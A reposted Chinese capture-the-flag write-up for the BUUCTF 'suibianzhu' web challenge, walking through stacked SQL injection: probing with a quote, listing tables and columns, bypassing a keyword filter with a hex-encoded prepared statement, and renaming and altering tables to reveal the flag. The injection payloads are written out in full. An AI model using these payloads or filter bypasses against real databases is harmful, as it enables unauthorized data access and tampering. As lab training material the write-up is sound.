首页 > Web开发 > 详细

【web】BUUCTF-随便注

时间:2019-09-12 21:46:52      阅读:262      评论:0      收藏:0      [点我收藏+]

 

随便输入一个单引号,报错

技术分享图片

 

order by 3就不行了

技术分享图片

 

尝试联合查询的时候出现提示:

"/select|update|delete|drop|insert|where|\./i"

技术分享图片

 

一个正则可视化网站:https://regexper.com

技术分享图片

 

 使用堆叠注入:1‘;show tables;#

技术分享图片

 

看一下表里有什么列名:1‘;show columns from `1919810931114514`;#

(注意,字符串为表名的表操作时要加反引号)

技术分享图片

 

但是没办法使用 select * from `1919810931114514`

看网上师傅们有两种方法,第一种:mysql 预定义语句

1;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#

hex decode 以后是:?inject=1;SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#

 

 技术分享图片

 

还有一种方法时是:改表名 这样查询的时候就可以查询到 flag

?inject=1;
rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

 

意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words

把列名 flag 改为 id

 

这样在 1‘; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了

技术分享图片

【web】BUUCTF-随便注

原文:https://www.cnblogs.com/yichen115/p/11513171.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!